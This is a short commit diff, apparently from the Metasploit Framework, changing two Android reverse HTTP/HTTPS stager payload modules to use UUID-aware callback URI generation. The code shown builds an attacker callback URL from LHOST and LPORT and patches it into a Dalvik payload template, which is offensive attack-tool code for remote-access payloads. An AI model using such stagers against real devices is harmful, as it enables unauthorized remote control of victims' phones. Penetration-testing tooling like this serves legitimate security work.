use uuid aware generate_uri_uuid_mode

Author: timwr

modules/payloads/stagers/android/reverse_http.rb

@@ -5,13 +5,15 @@
 
 require 'msf/core'
 require 'msf/core/handler/reverse_http'
+require 'msf/core/payload/uuid_options'
 
 module Metasploit3
 
   CachedSize = :dynamic
 
   include Msf::Payload::Stager
   include Msf::Payload::Dalvik
+  include Msf::Payload::UUIDOptions
 
   def initialize(info = {})
     super(merge_info(info,
@@ -37,7 +39,7 @@ def generate_jar(opts={})
     lurl = "ZZZZhttp://#{datastore["LHOST"]}"
     lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
     lurl << "/"
-    lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
+    lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
 
     classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
     string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)

modules/payloads/stagers/android/reverse_https.rb

@@ -5,13 +5,15 @@
 
 require 'msf/core'
 require 'msf/core/handler/reverse_https'
+require 'msf/core/payload/uuid_options'
 
 module Metasploit3
 
   CachedSize = :dynamic
 
   include Msf::Payload::Stager
   include Msf::Payload::Dalvik
+  include Msf::Payload::UUIDOptions
 
   def initialize(info = {})
     super(merge_info(info,
@@ -37,7 +39,7 @@ def generate_jar(opts={})
     lurl = "ZZZZhttps://#{datastore["LHOST"]}"
     lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
     lurl << "/"
-    lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
+    lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
 
     classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
     string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)